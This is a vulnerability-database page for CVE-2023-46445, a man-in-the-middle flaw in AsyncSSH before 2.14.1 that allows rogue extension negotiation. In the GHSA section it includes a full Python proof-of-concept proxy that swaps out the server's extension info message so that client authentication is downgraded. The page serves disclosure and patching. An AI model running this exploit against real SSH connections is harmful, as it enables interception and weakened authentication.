pysec - pysec-2023-237

pysec-2023-237

Vulnerability from pysec

Published

2023-11-14 03:15

Modified

2023-11-17 17:27

Severity ?

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Details

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "asyncssh",
        "purl": "pkg:pypi/asyncssh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.8.1",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "1.0.0",
        "1.0.1",
        "1.1.0",
        "1.1.1",
        "1.10.0",
        "1.10.1",
        "1.11.0",
        "1.11.1",
        "1.12.0",
        "1.12.1",
        "1.12.2",
        "1.13.0",
        "1.13.1",
        "1.13.2",
        "1.13.3",
        "1.14.0",
        "1.15.0",
        "1.15.1",
        "1.16.0",
        "1.16.1",
        "1.17.0",
        "1.17.1",
        "1.18.0",
        "1.2.0",
        "1.2.1",
        "1.3.0",
        "1.3.1",
        "1.3.2",
        "1.4.0",
        "1.4.1",
        "1.5.0",
        "1.5.1",
        "1.5.2",
        "1.5.3",
        "1.5.4",
        "1.5.5",
        "1.5.6",
        "1.6.0",
        "1.6.1",
        "1.6.2",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.8.0",
        "1.8.1",
        "1.9.0",
        "2.0.0",
        "2.0.1",
        "2.1.0",
        "2.10.0",
        "2.10.1",
        "2.11.0",
        "2.12.0",
        "2.13.0",
        "2.13.1",
        "2.13.2",
        "2.14.0",
        "2.2.0",
        "2.2.1",
        "2.3.0",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.5.0",
        "2.6.0",
        "2.7.0",
        "2.7.1",
        "2.7.2",
        "2.8.0",
        "2.8.1",
        "2.9.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46445",
    "GHSA-cfc2-wr2v-gxm5"
  ],
  "details": "An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.",
  "id": "PYSEC-2023-237",
  "modified": "2023-11-17T17:27:01.919743+00:00",
  "published": "2023-11-14T03:15:00+00:00",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

ghsa-cfc2-wr2v-gxm5

Vulnerability from github

Published

2023-11-09 18:34

Modified

2023-11-14 21:16

Severity ?

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

AsyncSSH Rogue Extension Negotiation

Details

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC

AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)

```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify('0000000C060700000000000000000000') def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: server_data += server_socket.recv(4096) print(f"[d] Original server_data before modification: {server_data.hex()}") server_data = insert_rogue_ext_info(server_data) print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}") if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```

Impact

Algorithm downgrade during user authentication.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "asyncssh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-09T18:34:53Z",
    "nvd_published_at": "2023-11-14T03:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n    \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n   ```python\n    #!/usr/bin/python3\n    import socket\n    from threading import Thread\n    from binascii import unhexlify\n    \n    #####################################################################################\n    ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n    ##                                                                                 ##\n    ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##\n    ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##\n    ##                                                                                 ##\n    ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n    #####################################################################################\n    \n    # IP and port for the TCP proxy to bind to\n    PROXY_IP = \u0027127.0.0.1\u0027\n    PROXY_PORT = 2222\n    \n    # IP and port of the server\n    SERVER_IP = \u0027127.0.0.1\u0027\n    SERVER_PORT = 22\n    \n    # Length of the individual messages\n    NEW_KEYS_LENGTH = 16\n    SERVER_EXT_INFO_LENGTH = 676\n    \n    newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n    def contains_newkeys(data):\n        return newkeys_payload in data\n    \n    # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n    rogue_ext_info = unhexlify(\u00270000000C060700000000000000000000\u0027)\n    def insert_rogue_ext_info(data):\n        newkeys_index = data.index(newkeys_payload)\n        # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n        return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n    \n    def forward_client_to_server(client_socket, server_socket):\n        try:\n            while True:\n                client_data = client_socket.recv(4096)\n                if len(client_data) == 0:\n                    break\n                server_socket.send(client_data)\n        except ConnectionResetError:\n            print(\"[!] Client connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    def forward_server_to_client(client_socket, server_socket):\n        try:\n            while True:\n                server_data = server_socket.recv(4096)\n                if contains_newkeys(server_data):\n                    print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n                    if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n                    while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        server_data += server_socket.recv(4096)\n                    print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n                    server_data = insert_rogue_ext_info(server_data)\n                    print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n                if len(server_data) == 0:\n                    break\n                client_socket.send(server_data)\n        except ConnectionResetError:\n            print(\"[!] Target connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    if __name__ == \u0027__main__\u0027:\n        print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n        mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        mitm_socket.bind((PROXY_IP, PROXY_PORT))\n        mitm_socket.listen(5)\n    \n        print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    \n        try:\n            while True:\n                client_socket, client_addr = mitm_socket.accept()\n                print(f\"[+] Accepted connection from: {client_addr}\")\n                print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n                server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                server_socket.connect((SERVER_IP, SERVER_PORT))\n                print(\"[+] Spawning new forwarding threads to handle client connection.\")\n                Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n                Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n        except KeyboardInterrupt:\n            client_socket.close()\n            server_socket.close()\n            mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.",
  "id": "GHSA-cfc2-wr2v-gxm5",
  "modified": "2023-11-14T21:16:22Z",
  "published": "2023-11-09T18:34:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ronf/asyncssh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231222-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.terrapin-attack.com"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AsyncSSH Rogue Extension Negotiation"
}

cve-2023-46445

Vulnerability from cvelistv5

Published

2023-11-14 00:00

Modified

2024-08-02 20:45

Severity ?

Summary

An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."

References

▼	URL	Tags
	https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5
	https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE/	vendor-advisory
	https://www.terrapin-attack.com
	https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst
	https://github.com/advisories/GHSA-cfc2-wr2v-gxm5
	http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html
	https://security.netapp.com/advisory/ntap-20231222-0001/

Impacted products

Vendor

Product

Version

▼

n/a

Version: n/a

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T20:45:41.695Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
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          {
            "tags": [
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            "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
          },
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            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE/"
          },
          {
            "tags": [
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            "url": "https://www.terrapin-attack.com"
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            "url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
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            "url": "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20231222-0001/"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
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      "descriptions": [
        {
          "lang": "en",
          "value": "An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a \"Rogue Extension Negotiation.\""
        }
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      "problemTypes": [
        {
          "descriptions": [
            {
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              "lang": "en",
              "type": "text"
            }
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      ],
      "providerMetadata": {
        "dateUpdated": "2023-12-22T20:06:14.229897",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
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      "references": [
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          "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
        },
        {
          "name": "FEDORA-2023-d2956318e4",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE/"
        },
        {
          "url": "https://www.terrapin-attack.com"
        },
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        },
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        },
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          "url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20231222-0001/"
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    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
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    "datePublished": "2023-11-14T00:00:00",
    "dateReserved": "2023-10-23T00:00:00",
    "dateUpdated": "2024-08-02T20:45:41.695Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

pysec-2023-237

Vulnerability from pysec

ghsa-cfc2-wr2v-gxm5

Vulnerability from github

Summary

Details

PoC

Impact

cve-2023-46445

Vulnerability from cvelistv5

Tags

Sightings

Nomenclature